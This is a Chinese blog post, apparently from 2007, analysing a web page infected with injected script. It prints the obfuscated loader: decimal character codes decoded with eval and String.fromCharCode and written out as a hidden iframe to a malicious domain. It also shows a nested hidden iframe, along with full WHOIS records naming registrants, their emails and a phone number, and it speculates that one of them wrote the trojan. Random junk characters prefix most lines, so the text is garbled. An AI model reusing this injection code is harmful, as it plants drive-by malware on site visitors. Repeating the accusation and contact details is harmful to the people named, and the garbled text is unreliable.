首发在我的博客里面，
N nq r{ub B|ctauJ http://www.areway.cn/?p=175 U etI 4` {RN-rF3w sB0 m^Y' 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
JH._/I
3}5Ya\x <script>t=’60,105,102,114,97,109,101,
}CM#jN?( 32,115,114,99,61,104,116,116,112,58,47,47,
BVG.ZZR}) 102,114,101,101,46,117,45,117,117,117,46,99,
d+p^fBz 110,47,101,114,114,111,114,46,104,116,109,
:%<'('S | 32,119,105,100,116,104,61,49,48,48,32,104,
.^8rO ,H[ 101,105,103,104,116,61,48,62,60,47,105,102,
c)Ne/ E{!0 114,97,109,101,62′;
s\ e b t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
MDCwgNPiQW yG2rAG_ G& <script>t=’60,105,102,114,97,109,101,32,115,
xbz O' C 114,99,61,104,116,116,112,58,47,47,102,114,
w ufQyT` 101,101,46,117,45,117,117,117,46,99,110,47,
S;j"@'gz9 101,114,114,111,114,46,104,116,109,32,119,
4 9=L9: 105,100,116,104,61,49,48,48,32,104,101,105,
Nz>xilU' 103,104,116,61,48,62,60,47,105,102,114,97,
vLpIVNA]]Y 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
J"K(nKXO_? document.write(t);</script>
U>0bgL y*!8[wASHq <html xmlns=”
l
p|`n http://www.w3.org/1999/xhtml qNWSDZQ “>
5a|{ytP <head>
=klfCFwP <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
DD}YbuO 7 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
"a-;?S& <title>首页 - 爱生活家庭网
#giH`|#d pP%9MSCi 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
<07]w$m/ 转换字符串后的大概内容是（谁点击后果自付）：
Mtc - <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
]fSpG \yU e_}tK1 XY 查询玉米u-uuu.cn的详细信息：
Q@[ (0R1 Domain Name: u-uuu.cn
U~w8yMxX ROID: 20070901s10001s64972306-cn
KG GJ\r6 Domain Status: ok
oG\lejO Registrant Organization: 王雷
<B!DwMk;. Registrant Name: 王雷
K"zRj L+ Administrative Email:
czlovexs@126.com "gt1pf~y Sponsoring Registrar: 北京万网志成科技有限公司
xy 4P_ Name Server:ns.yovole.com
j!"5, ~ Name Server:ns1.yovole.com
~9#'s' Registration Date: 2007-09-01 17:54
q4g)/x%nc Expiration Date: 2008-09-01 17:54
K%UjPzPWw 最后PING了一下地址 都没有什么….
W4(GI]`_+ o|w
w>m 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
dEkAU H <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
#u3E{ NB <script language=”javascript” src=”
HGF&'@dn http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script vXg^ K}a# >
vlFq-W! 这个玉米应该有可能是木马作者的：
X|C=Q foafau.info的详细信息：
+v/-qyA Access to INFO WHOIS information is provided to assist persons in
^O!;KIe {g determining the contents of a domain name registration record in the
<{i1/"k?X Afilias registry database. The data in this record is provided by
Js^(mRv= Afilias Limited for informational purposes only, and Afilias does not
Zr(eH2}0D guarantee its accuracy. This service is intended only for query-based
eQ*zi9na access. You agree that you will use this data only for lawful purposes
gHFQs](G. and that, under no circumstances will you use this data to: (a) allow,
rDGrq 9 enable, or otherwise support the transmission by e-mail, telephone, or
JAy-N bb\ facsimile of mass unsolicited, commercial advertising or solicitations
v6ei47- to entities other than the data recipient’s own existing customers; or
n<1*cL:8B (b) enable high volume, automated, electronic processes that send
:3{n(~ queries or data to the systems of Registry Operator, a Registrar, or
jp|*kBDq\ Afilias except as reasonably necessary to register domain names or
4I#@xm8) modify existing registrations. All rights reserved. Afilias reserves
h]/3 doP the right to modify these terms at any time. By submitting this query,
gA gF$H . you agree to abide by this policy.
E=91k. Domain ID:D22418703-LRMS
\Nk578+AA Domain Name:FOAFAU.INFO
sQ+s3x 1y Created On:20-Nov-2007 16:05:42 UTC
)4N1EuD6 Last Updated On:20-Nov-2007 16:05:44 UTC
]|u7P{Z"R Expiration Date:20-Nov-2008 16:05:42 UTC
X^rFR k Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
mY]o_ \` Status:CLIENT DELETE PROHIBITED
<d O ~; Status:CLIENT RENEW PROHIBITED
LI< Emez Status:CLIENT TRANSFER PROHIBITED
G8' Status:CLIENT UPDATE PROHIBITED
5s@xpWVot Status:TRANSFER PROHIBITED
sRZ?Ilua6 Registrant ID:GODA-040110615
!w%p Gv.wg Registrant Name:liu hong
*S?'[PS]1 Registrant Organization:
u8gqWsvruM Registrant Street1:beijing
O:ACp< @ Registrant Street2:
"{kE#`c6<n Registrant Street3:
"{Hl ! Zq/ Registrant City:beijing
Zu 4au< Registrant State/Province:
KGc!#C Registrant Postal Code:100000
cj[x% eK> Registrant Country:CN
N KTy!zWh Registrant Phone:+86.860108888777
MI-S}Qoe Registrant Phone Ext.:
6Hfv'X5E`Z Registrant FAX:
V+r&Z<& Registrant FAX Ext.:
|T]&8Q)S Registrant Email:bbbshiji@163.com
4*inN~cU Admin ID:GODA-240110615
C~p QJ@bF0 Admin Name:liu hong
Yh jv[ 9 Admin Organization:
^=8/I w Admin Street1:beijing
wd3OuDrU Admin Street2:
QEMT'Cs Admin Street3:
*j=58d`n Admin City:beijing
Ti7
@{7> Admin State/Province:
PPh<9$1\g Admin Postal Code:100000
=R Z PDu Admin Country:CN
|o Sqy Admin Phone:+86.860108888777
g yegdky3 Admin Phone Ext.:
ryqu2>(
Admin FAX:
;j
qF:Wl@ Admin FAX Ext.:
nM *} VI Admin Email:bbbshiji@163.com
M+ %qVwp Billing ID:GODA-340110615
;+bF4r@: + Billing Name:liu hong
#m;o)KkH$r Billing Organization:
lM#,i\8 Q Billing Street1:beijing
o ZQ@ Yu3 Billing Street2:
ym_as8A*Q Billing Street3:
aX*9T8H/ Billing City:beijing
@pH6FXVGzt Billing State/Province:
]z#)XW3#i Billing Postal Code:100000
Fnay{F8z Billing Country:CN
)l/
.<`| Billing Phone:+86.860108888777
g<7Aln}Nl\ Billing Phone Ext.:
ia-ht>F*; Billing FAX:
k~I ]Y, Billing FAX Ext.:
";7/8(LBZ Billing Email:bbbshiji@163.com
f= .!/e7 0 Tech ID:GODA-140110615
My Ky*wD Tech Name:liu hong
6uKP
BL@, Tech Organization:
sb hzER Tech Street1:beijing
j\zlp Tech Street2:
/t ! 5||G Tech Street3:
n5;@}Rai Tech City:beijing
5Ar gM% Tech State/Province:
PKC0Dt;F . Tech Postal Code:100000
VMe Tech Country:CN
5g
O9 < Tech Phone:+86.860108888777
0*+EYnu+ Tech Phone Ext.:
,k*%=TF7N Tech FAX:
k_uI&, Tech FAX Ext.:
*$`N5;7'` Tech Email:bbbshiji@163.com
\)6b LB!
Name Server:NS27.DOMAINCONTROL.COM
9%53 _nx? Name Server:NS28.DOMAINCONTROL.COM
s= 5 k7 Name Server:
dQ _4aO Name Server:
fE_%,DJE( Name Server:
pzaU'y#PM Name Server:
2. =u ' Name Server:
m ) rVzL Name Server:
!m%'aQHH( Name Server:
NHe)$%a=H Name Server:
byMy- v; Name Server:
J*Ie# :J] Name Server:
+6$ -"lf Name Server:
sjb.Ezoq3 o`!#io 接着下载每个文件里面的代码：
T>7N "C 一步一步看..
m{$}u@a 
{`e-%< 
7a^D[f0V 
` M{Ne:J 
t\ 'M B 
[@JK|50|K 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
